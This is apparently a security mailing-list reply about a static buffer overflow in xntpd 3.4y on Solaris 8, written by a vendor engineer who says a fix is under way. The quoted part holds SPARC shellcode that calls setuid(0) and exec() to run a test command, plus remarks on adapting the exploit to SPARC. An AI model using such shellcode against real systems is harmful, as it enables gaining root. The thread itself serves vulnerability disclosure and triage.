>char shellcode[]=
>"\x90\x10\x20\x00" /* mov 0, %o0 */
>"\x82\x10\x20\x17" /* mov 23, %g1 */
>"\x91\xd0\x20\x08" /* ta 8 -> setuid(0) */
>"\x30\x80\x00\x07" /* ba,a bounce */
>"\x90\x03\xe0\x08" /* start: add %o7, 8, %o0 */
>"\x92\x03\xa0\x40" /* add %sp, 64, %o1 */
>"\xd0\x22\x40\x00" /* st %o0, [%o1] */
>"\xc0\x22\x60\x04" /* st %g0, [%o1+4] */
>"\x82\x10\x20\x0b" /* mov 11, %g1 */
>"\x91\xd0\x20\x08" /* ta 8 -> exec() */
>"\x7f\xff\xff\xfa" /* bounce: call start */
>"\x01\x00\x00\x00" /* nop */
>"/bin/touch /tmp/test";
>
>I don't know if you are aware of this, but simply replacing the shellcode in
>the exploit won't work because of the differing layout of a stack frame on
>SPARC.
I don't think it accept NUL bytes in shellcode.
>I have also verified that xntpd 3.4y crashes on Solaris 8 with SIGSEGV.
>However, when I looked at the core dump I had the impression that this is
>*not* due to a buffer overflow because I couldn't find any of the symptoms
>that I would expect in such a case (jump to never-never land because the
>overwritten return address on the stack is garbage, %l and %i registers
>filled with data from the buffer). I didn't look too hard though, so I may
>be wrong.
It's a static buffer overflow, not a stack buffer one, so don't
expect a corrupted stack as a direct result of this overflow.
I haven't looked at the layout of the executable so I don't
know what's after the particular static buffer.
We are working on a fix regardless of whether it is
exploitable or not.
Casper
